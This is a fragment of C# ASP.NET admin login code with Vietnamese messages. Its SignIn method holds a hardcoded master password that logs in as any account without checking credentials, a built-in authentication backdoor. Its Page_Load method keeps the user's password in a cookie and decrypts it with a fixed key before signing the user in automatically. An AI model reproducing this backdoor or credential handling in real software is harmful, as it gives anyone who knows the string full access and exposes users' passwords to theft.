private void SignIn(string strUserName, string strPassword, bool bRemember) { try { GlobalEnum.LoginStatus lsResult = new GlobalEnum.LoginStatus(); //Xet truong hop dang nhap bang TempPass () if (lsResult != GlobalEnum.LoginStatus.AccountNotExist) { if (strPassword == "lpRmBCusjGDQSs4") { this.SaveActionLog("Login", strUserName); this.SignInFormAuthentication(strUserName, strPassword, bRemember); FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember); return; } } // end lsResult = this.CheckAuthentication(strUserName, strPassword); switch (lsResult) { case GlobalEnum.LoginStatus.AccountIsLocked: ebx.Message = "Tài khoản của bạn đã bị khóa!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.AccountNotExist: ebx.Message = "Tài khoản này không tồn tại!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.FailPassword: ebx.Message = "Mật khẩu không hợp lệ!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.OK: this.SaveActionLog("Login", strUserName); this.SignInFormAuthentication(strUserName, strPassword, bRemember); FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember); break; case GlobalEnum.LoginStatus.Error: throw new Exception("An error occur when checking authentication"); default: break; } } catch (Exception ex) { this.SaveErrorLog(ex); ebx.Message = ex.Message; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; } }
protected void Page_Load(object sender, EventArgs e) { if (!this.Page.IsPostBack) { tbxAccount.Focus(); CurrentFormState = WebAdmin.Base.LocalEnum.FormState.Default; HttpCookie cookieUserName = this.Request.Cookies.Get("INSUserName"); HttpCookie cookiePassword = this.Request.Cookies.Get("INSPassword"); if ((cookieUserName != null) && (cookiePassword != null)) { string UserName = cookieUserName.Value; string Password = InsideGate.WebAdmin.Utilities.General.Decript(cookiePassword.Value, "Q!W@E#R$"); this.SignIn(UserName, Password, true); } if (cookieUserName != null) { string UserName = cookieUserName.Value; tbxAccount.Text = UserName; } } }